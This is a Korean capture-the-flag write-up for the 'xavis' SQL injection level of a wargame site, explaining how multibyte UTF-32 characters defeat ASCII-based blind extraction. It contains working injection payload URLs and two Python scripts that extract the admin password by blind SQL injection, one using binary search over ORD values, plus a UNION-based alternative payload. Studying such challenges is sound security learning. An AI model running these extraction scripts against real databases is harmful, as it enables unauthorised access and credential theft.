xavis

문제에서 정규식을 통해 필터링 중인 문자는 아래와 같다.

  • ( prob _ . () regex like )
    이 문자들을 사용하지 않고 pw 파라미터에 우회 구문을 작성해야 한다.

우회 구문은 아래와 같이 작성할 수 있다.
홑따옴표(‘)가 필터링 되지 않기 때문에 쉽게 우회가 가능하다.
( 페이로드에 사용된 IS NOT NULL 은 패스워드가 NULL 값이 아닌 모든 행을 조회한다는 의미다. 근데 이제 id=admin 을 곁들인)

https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%27%20OR%20id=%27admin%27%20AND%20pw%20IS%20NOT%20NULL%20AND%20%271%27=%271

이후 LENGTH(…) 함수를 통해 admin 계정의 패스워드 길이는 12바이트로 구성되는 것을 확인했다.
(LENGTH 함수는 문자 기준이 아니라, 인자로 받은 값이 몇 BYTE로 구성되었는지를 반환)

https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%27%20OR%20id=%27admin%27%20AND%20LENGTH(pw)=12%20AND%20%271%27=%271

다음으로, 문자 1개는 4개의 바이트로 구성되는 것을 확인했다.
(문자 1개가 멀티바이트로 구성되므로 admin 계정의 패스워드가 UTF32 인코딩 된 한글/이모지 값임을 유추할 수 있다.)

https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%27%20OR%20id=%27admin%27%20AND%20LENGTH(SUBSTR(pw,1,1))=4%20AND%20%271%27=%271


패스워드 추출은 이전 문제들에서 사용한 자동화 스크립트를 재사용했다. (필요한 부분만 일부 수정)
( 그러나, 패스워드가 정상적으로 추출되지 않았따. ASCII 함수로 패스워드를 구성하는 각 문자들을 추출하면 10진수 0 값에 맵핑됐다. )

import requests
 
TRAGET_URL = 'https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
COOKIE = {'PHPSESSID' : 'COOKIE_VALUE'}
PASSWORD = ''
 
for i in range(1, 13):
    for j in range(0, 123):
        URL = TRAGET_URL + f"?pw=%27%20OR%20id=%27admin%27%20AND%20ASCII(SUBSTR(pw,{i},1))={j}%20AND%20%271%27=%271"
        res = requests.get(URL, cookies=COOKIE)
        if "Hello admin" in res.text:
            print(f"Extracted admin's password : {j}")
            break
            
'''실행 결과
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
Extracted admin's password : 0
'''

( ASCII 함수는 “앞 1 바이트”만 보기 때문에, 만약 멀티바이트로 구성된 문자(예를 들면 한글)가 오는 경우에 0 값이 반환될 수 있다. )
( 예를 들어, ‘가’ 라는 문자는 빅 엔디언으로는 '가'.encode(encoding='utf-32') → b'\x00\x00\xfe\xff\x00\x00\xac\x00' 로 표현된다. )
( \xff\xfe\x00\x00 는 문자가 아니고 어떤 엔디언인지 알려주는 표식(BOM(Byte Order Mark))이라고 한다. BOM은 항상 맨 앞에 온다. )

인코딩BOM
UTF-32BE00 00 FE FF
UTF-32LEFF FE 00 00

UTF8, UTF16, UTF32, EUC-KR

유니코드에는 세 개의 대표적 문자 인코딩이 있는데 하나는 UTF-8이고, 다른 하나는 UTF-16, 마지막 하나는 UTF-32 이다. UTF-8은 14바이트 가변길이로 ASCII 문자는 1바이트, 한글은 3바이트를 사용한다. UTF-16은 24바이트 가변길이로 대부분의 문자는 2바이트(65,356개)를 사용하며, 일부 특수문자나 이모지는 4바이트를 사용한다. UTF-32는 4바이트 고정길이로 모든 문자를 4바이트로 표현한다.

MySQL에서는 여러가지 방식으로 값이 인코딩 될 수 있는데, 대표적으로 UTF8/16/32 방식이 사용된다.
만약 UTF-32 방식이 사용되면 모든 문자(한글, 영문, 숫자)는 4바이트로 표현되며 4바이트를 HEX 값으로 표현하면 ”?? ?? ?? ??” 로 길이가 8 이 된다. LENGTH(pw) 의 값이 12라는 것은 pw 컬럼에 저장된 값이 12바이트로 구성됐다는 의미다.


이전 과정에서 ASCII(SUBSTR(pw, {i}, 1)) 를 통해 112번째 문자를 ASCII 코드로 변환한 값을 확인했는데
1
12번째 문자 모두 값이 0 이었다. ASCII 함수는 “문자”를 기준으로 앞 1바이트를 가져오는데 MySQL은 대개 빅 엔디언 형식으로 값을 저장한다.
만약, “가나다” 라는 값이 빅 엔디언 UTF32 형식으로 테이블에 저장되어 있다면 아래와 같은 구조를 띤다.

>>> '가나다'.encode(encoding='utf-32be')
b'\x00\x00\xac\x00\x00\x00\xb0\x98\x00\x00\xb2\xe4'

SUBSTR(…) 함수는 바이트 기준이 아니라 문자를 기준으로 값을 가져오기 때문에 “가나다” 라는 값으로부터 문자를 잘라서 가져온다고 가정하면 가, 나, 다 각각 3개의 문자를 가져온다. 가, 나, 다는 빅 엔디언 방식 UTF32 인코딩으로 표현하면 아래와 같다.

  • (가 → \x00\x00\xac\x00 → \x00 / 나 → \x00\x00\xb0\x98 → \x00 / 다 → \x00\x00\xb2\xe4 → \x00)

여기서 ASCII 함수는 문자열의 가장 왼쪽 문자(1바이트)의 아스키 코드 값을 반환하기 때문에 모두 \x00 값만 사용된다.
그렇기 때문에 ASCII(SUBSTR(pw, {i}, 1)) 의 값이 모두 0이 반환된 것이다.


ASCII 함수는 항상 문자의 앞 1바이트만 가져오기 때문에 DB 테이블에 한글/이모지가 저장된 경우 원본 값을 뽑아낼 수 없다.
이러한 경우에 사용할 수 있는 함수가 ORD 함수다. 이 함수는 문자를 구성하는 모든 바이트를 가져오고 이를 10진수로 변환하여 출력한다.
예를 들면, ‘가’ 문자의 경우 UTF-32 방식에서 \x00\x00\xac\x00 이다. 이 값을 10진수로 변환하면 44032 가 된다.


다시 문제로 돌아와 간단한 테스트를 해보자. admin 계정의 패스워드 첫 번째 문자는 10진수로 표현하면 50864 였는데, 이 값을 다시 문자로 변환해보면 ‘우’ 에 해당한다. ( 50864는 UTF32-BE 방식으로 인코딩 된 ‘우’ 문자를 10진수로 변환한 값이다. )

https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%27%20OR%20id=%27admin%27%20AND%20ORD(SUBSTR(pw,1,1))=50864%20AND%20%271%27=%271

[ . . . ]

>>> chr(50864)
'우'


이제 파이썬 스크립트를 통해 admin 계정의 패스워드 추출을 진행한다.
이번에는 멀티바이트(2바이트 이상~)로 구성된 문자이기 때문에 값의 범위가 넓기 때문에 모든 10진수 값을 문자로 변환하면서 admin 계정의 패스워드를 찾으면 시간이 오래 소요된다. 이를 해결하기 위해 이진 탐색(Binary Search) 알고리즘을 추가했다. ( 시간 복잡도는 O(N) 에서 O(logN) 으로 감소된다. )

  • (1) 앞선 과정에서 admin 계정의 패스워드가 12바이트로 구성된 것을 확인했고 (LENGTH(pw)=12)
  • (2) admin 계정의 패스워드는 3개의 문자로 구성된 것을 확인했다. (따라서 각 문자는 4바이트로 구성된다.)
import requests
 
t_url = 'https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
 
for i in range(1, 4):
    low = 1
    high = 200000
 
    while low <= high:
        mid = (low + high) // 2
        payload = (
            f"?pw=%27%20OR%20id%3D%27admin%27%20AND%20ORD(SUBSTR(pw,{i},1))>{mid}%20AND%20%271%27=%271"
        )
        r = requests.get(t_url + payload, cookies=cookie)
        if "Hello admin" in r.text:
            low = mid + 1
        else:
            high = mid - 1
            
        if low > high:
            real_val = high + 1  # 실제 문자코드 확정
            password = password + chr(real_val)
            print(f"Extracted admins password : {password}")
            break
            
            
'''실행 결과
Extracted admins password : 우
Extracted admins password : 우왕
Extracted admins password : 우왕굳
'''

추출한 admin 계정의 패스워드를 입력해주면!!! XAVIS도 드디어 클리어했다.

  • ① LENGTH(pw) : 찾으려는 값이 몇 바이트 값으로 구성됐는지 확인 (12바이트)
  • ② LENGTH(SUBSTR(pw, {i}, 1)) : 찾으려는 값(문자열)이 각각 몇 바이트로 구성됐는지 확인 (4바이트, 4바이트, 4바이트)
    • 따라서, 찾으려는 값은 4바이트 문자 3개로 구성된다는 정보를 획득
  • ③ ORD(SUBSTR(pw, {i}, 1)) : 문자 1개씩(4바이트) 가져와 10진수로 변환한 후 이를 CHR(10진수 값) 으로 문자로 변환
  • ④ 찾으려는 값은 “우왕굳” 이었음. 우왕ㅇ…

번외 (1)

  • MySQL에서 인코딩 형식을 확인하려면 status 명령어를 입력하면 된다.
    • (Client characterset: utf8mb4 → 가변-4바이트 UTF-8 문자열)
MariaDB [(none)]> status;
--------------
mysql from 11.8.3-MariaDB, client 15.2 for debian-linux-gnu (x86_64) using  EditLine wrapper
 
Connection id:          31
Current database:
Current user:           root@localhost
SSL:                    Cipher in use is TLS_AES_256_GCM_SHA384, cert is OK
Current pager:          less
Using outfile:          ''
Using delimiter:        ;
Server:                 MariaDB
Server version:         11.8.3-MariaDB-1+b1 from Debian -- Please help get to 10k stars at https://github.com/MariaDB/Server
Protocol version:       10
Connection:             Localhost via UNIX socket
Server characterset:    utf8mb4
Db     characterset:    utf8mb4
Client characterset:    utf8mb4
Conn.  characterset:    utf8mb4
UNIX socket:            /run/mysqld/mysqld.sock
Uptime:                 12 min 50 sec

번외 (2)

다른 분들의 풀이를 확인하니 UNION 절을 사용하면 간단하게 admin 계정의 패스워드를 확인할 수 있었다.
페이로드는 아래와 같은데, MySQL의 로컬 변수 선언 기능을 사용하는 방식이다.

  • ① SQL문에서 로컬 변수(Local Variable)는 아래와 같이 선언하고 값을 할당할 수 있다.
    • SELECT @local_variable_name={임의 값}
  • ② 이를 UNION 절과 연계하면 다음과 같이 활용할 수 있다.
    • select id from prob_xavis where id='admin' and pw='' or (SELECT @a:=pw WHERE id='admin' UNION SELECT @a)
    • (SELECT @a:=pw WHERE id=‘admin’) 쿼리에는 FROM 절이 없지만, 컬럼 참조가 가능하면 외부 쿼리의 row 컨텍스트를 그대로 사용하여 바깥 SELECT 문의 FROM 테이블을 암묵적으로 참조한다고 한다. (SELECT @a := prob_xavis.pw WHERE prob_xavis.id = 'admin' 으로 동작한다. )

🐛.. 🐛.. 🐛..


REFERENCE

  1. https://domdom.tistory.com/245
  2. https://www.phpschool.com/gnuboard4/bbs/board.php?bo_table=tipntech&wr_id=73355